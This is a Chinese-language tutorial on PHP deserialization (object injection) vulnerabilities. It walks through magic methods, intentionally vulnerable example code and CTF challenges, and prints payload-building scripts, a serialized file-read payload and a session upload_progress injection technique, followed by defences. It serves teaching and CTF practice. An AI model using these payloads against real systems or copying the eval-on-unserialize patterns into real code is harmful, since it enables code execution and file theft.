PHP反序列化的一些例子
字数 1653 2025-08-27 12:33:42

PHP反序列化漏洞详解与实战

一、PHP反序列化基础概念

1.1 序列化与反序列化

PHP中的序列化(serialize())是将PHP值转换为可存储或传输的字符串表示的过程,反序列化(unserialize())则是将字符串重新转换为PHP值。

序列化特点

  • 保存对象的所有变量,但不保存对象的方法
  • 只保存类的名字
  • 反序列化时对象的类必须已定义

1.2 魔术方法(Magic Methods)

PHP反序列化漏洞通常利用可以自动调用的特殊函数(魔术方法):

  • __construct(): 对象创建时自动调用
  • __destruct(): 对象销毁时自动调用
  • __sleep(): 在序列化前自动调用
  • __wakeup(): 在反序列化后自动调用
  • __toString(): 当对象被当作字符串使用时调用

二、反序列化漏洞利用条件

  1. unserialize()函数的参数可控
  2. PHP中有可利用的类且类中包含魔术方法

三、基础漏洞示例分析

3.1 构造与析构函数利用

示例代码

class example {
    public $handle;
    
    function __destruct(){
        $this->funnnn();
    }
    
    function funnnn(){
        $this->handle->close();
    }
}

class process {
    public $pid;
    
    function close(){
        eval($this->pid);
    }
}

if(isset($_GET['data'])){
    $user_data = unserialize($_GET['data']);
}

漏洞分析

  1. example类的__destruct()会自动调用funnnn()
  2. funnnn()调用handle对象的close()方法
  3. 如果handleprocess类的实例,close()会执行eval($this->pid)

利用方法

  1. 构造example对象,其handle属性为process对象
  2. 设置process对象的pid属性为恶意代码

Payload构造

class example {
    public $handle;
    function __construct(){
        $this->handle = new process();
    }
}

class process {
    public $pid = 'phpinfo();';
}

$test = new example();
echo serialize($test);

3.2 __wakeup()替代__destruct()

将上述示例中的__destruct()改为__wakeup()同样可利用,因为__wakeup()在反序列化时自动调用。

四、CTF实战案例分析

4.1 文件读取漏洞

题目代码

// hint.php
class Flag { //flag.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br>";
            return ("good");
        }
    }
}

// index.php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];

if(isset($txt) && (file_get_contents($txt,'r')==="welcome to the bugkuctf")){
    echo "hello friend!<br>";
    if(preg_match("/flag/",$file)) {
        echo "不能现在就给你flag哦";
        exit();
    } else{
        include($file);
        $password = unserialize($password);
        echo $password;
    }
}

漏洞分析

  1. password参数被反序列化
  2. 反序列化后对象被echo时会触发__toString()
  3. Flag类的__toString()会读取file属性指定的文件内容

利用方法

  1. 构造Flag对象,设置file属性为flag.php
  2. 序列化后作为password参数传递

Payload

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

五、PHP Session反序列化漏洞

5.1 Session序列化处理器

PHP提供了多种session序列化处理器:

  • php: 默认处理器,格式为键名|序列化数据
  • php_serialize: PHP 5.5.4+引入,格式为完整的序列化数组
  • php_binary: 二进制格式

5.2 处理器差异导致的漏洞

示例场景

  1. 站点使用php_serialize存储session
  2. 但使用php处理器读取session
  3. 攻击者可注入特殊字符|伪造序列化对象

测试代码

ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION["test"] = $_GET["t"];

差异结果

  • php_serialize: a:1:{s:4:"test";s:4:"1111";}
  • php: test|s:4:"1111";

5.3 实战案例

题目代码

ini_set('session.serialize_handler', 'php');
session_start();

class OowoO {
    public $mdzz;
    
    function __construct() {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct() {
        eval($this->mdzz);
    }
}

if(isset($_GET['phpinfo'])){
    $m = new OowoO();
}

利用方法

  1. 利用session.upload_progress特性注入session
  2. 构造恶意session数据包含|和序列化对象

攻击步骤

  1. 创建HTML表单上传文件
  2. 设置filename参数为恶意序列化数据
  3. 服务器使用不同处理器处理session导致反序列化

Payload构造

class OowoO {
    public $mdzz = 'print_r(scandir(dirname(__FILE__)));';
}

$test = new OowoO();
echo serialize($test);

六、防御措施

  1. 不要反序列化不可信数据
  2. 使用json_encode()/json_decode()替代序列化
  3. 验证反序列化前的数据
  4. 保持PHP版本更新
  5. 统一session序列化处理器

七、总结

PHP反序列化漏洞是Web安全中的重要攻击面,攻击者通过精心构造的序列化数据,利用魔术方法的自动执行特性,可以实现代码执行、文件读取等恶意操作。理解其原理和利用方式对于安全开发和渗透测试都至关重要。

PHP反序列化漏洞详解与实战 一、PHP反序列化基础概念 1.1 序列化与反序列化 PHP中的序列化( serialize() )是将PHP值转换为可存储或传输的字符串表示的过程,反序列化( unserialize() )则是将字符串重新转换为PHP值。 序列化特点 : 保存对象的所有变量,但不保存对象的方法 只保存类的名字 反序列化时对象的类必须已定义 1.2 魔术方法(Magic Methods) PHP反序列化漏洞通常利用可以自动调用的特殊函数(魔术方法): __construct() : 对象创建时自动调用 __destruct() : 对象销毁时自动调用 __sleep() : 在序列化前自动调用 __wakeup() : 在反序列化后自动调用 __toString() : 当对象被当作字符串使用时调用 二、反序列化漏洞利用条件 unserialize() 函数的参数可控 PHP中有可利用的类且类中包含魔术方法 三、基础漏洞示例分析 3.1 构造与析构函数利用 示例代码 : 漏洞分析 : example 类的 __destruct() 会自动调用 funnnn() funnnn() 调用 handle 对象的 close() 方法 如果 handle 是 process 类的实例, close() 会执行 eval($this->pid) 利用方法 : 构造 example 对象,其 handle 属性为 process 对象 设置 process 对象的 pid 属性为恶意代码 Payload构造 : 3.2 __ wakeup()替代__ destruct() 将上述示例中的 __destruct() 改为 __wakeup() 同样可利用,因为 __wakeup() 在反序列化时自动调用。 四、CTF实战案例分析 4.1 文件读取漏洞 题目代码 : 漏洞分析 : password 参数被反序列化 反序列化后对象被 echo 时会触发 __toString() Flag 类的 __toString() 会读取 file 属性指定的文件内容 利用方法 : 构造 Flag 对象,设置 file 属性为 flag.php 序列化后作为 password 参数传递 Payload : 五、PHP Session反序列化漏洞 5.1 Session序列化处理器 PHP提供了多种session序列化处理器: php : 默认处理器,格式为 键名|序列化数据 php_serialize : PHP 5.5.4+引入,格式为完整的序列化数组 php_binary : 二进制格式 5.2 处理器差异导致的漏洞 示例场景 : 站点使用 php_serialize 存储session 但使用 php 处理器读取session 攻击者可注入特殊字符 | 伪造序列化对象 测试代码 : 差异结果 : php_serialize : a:1:{s:4:"test";s:4:"1111";} php : test|s:4:"1111"; 5.3 实战案例 题目代码 : 利用方法 : 利用 session.upload_progress 特性注入session 构造恶意session数据包含 | 和序列化对象 攻击步骤 : 创建HTML表单上传文件 设置 filename 参数为恶意序列化数据 服务器使用不同处理器处理session导致反序列化 Payload构造 : 六、防御措施 不要反序列化不可信数据 使用 json_encode() / json_decode() 替代序列化 验证反序列化前的数据 保持PHP版本更新 统一session序列化处理器 七、总结 PHP反序列化漏洞是Web安全中的重要攻击面,攻击者通过精心构造的序列化数据,利用魔术方法的自动执行特性,可以实现代码执行、文件读取等恶意操作。理解其原理和利用方式对于安全开发和渗透测试都至关重要。